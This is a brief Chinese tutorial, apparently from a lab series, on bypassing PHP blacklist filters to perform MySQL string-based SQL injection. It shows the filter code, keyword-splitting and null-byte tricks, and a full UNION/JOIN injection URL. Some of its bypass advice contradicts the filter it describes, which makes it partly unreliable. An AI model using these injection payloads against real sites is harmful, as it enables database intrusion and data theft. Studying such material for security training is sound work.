1. 程式人生 > >19、注入篇————MYSQL過濾特殊符號的字元型注入方法

19、注入篇————MYSQL過濾特殊符號的字元型注入方法

一、過濾了特殊符號的字元型注入

例如下面的過濾程式碼:

function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/and/i',"", $id);		        //Strip out AND (non case sensitive)
	$id= preg_replace('/[\/\*]/',"", $id);		        //strip out /*
	$id= preg_replace('/[--]/',"", $id);		        //Strip out --
	$id= preg_replace('/[#]/',"", $id);			//Strip out #
	$id= preg_replace('/[\s]/',"", $id);		        //Strip out spaces
	$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes
	return $id;
}

在這部分程式碼中過濾了“or”、“and”、“/”、“*”、“#”、“s”

繞過方法:

因為有過濾,所以order by \and 等命令都不能使用。

用o/**/rder來繞過or過濾

用a/**/nd 來繞過and過濾,或者使ID=0來強制報錯

把註釋改為;%00截斷

二、過濾了逗號的字元型注入

例如下面的過濾程式碼

function blacklist($id)
{
    if(stripos($id,',')){		//stripos函式作用:查詢 "php" 在字串中第一次出現的位置
      $id='1';
    }else{
      $id=$id;
    }
	return $id;
}

繞過方法

在注入語句中使用Join函式即可繞過

例如:

http://222.18.158.243:4604/?id=1' and 1=2 union select * from ( (select 1)a  JOIN  (select 2) b  JOIN (select 3) c )%23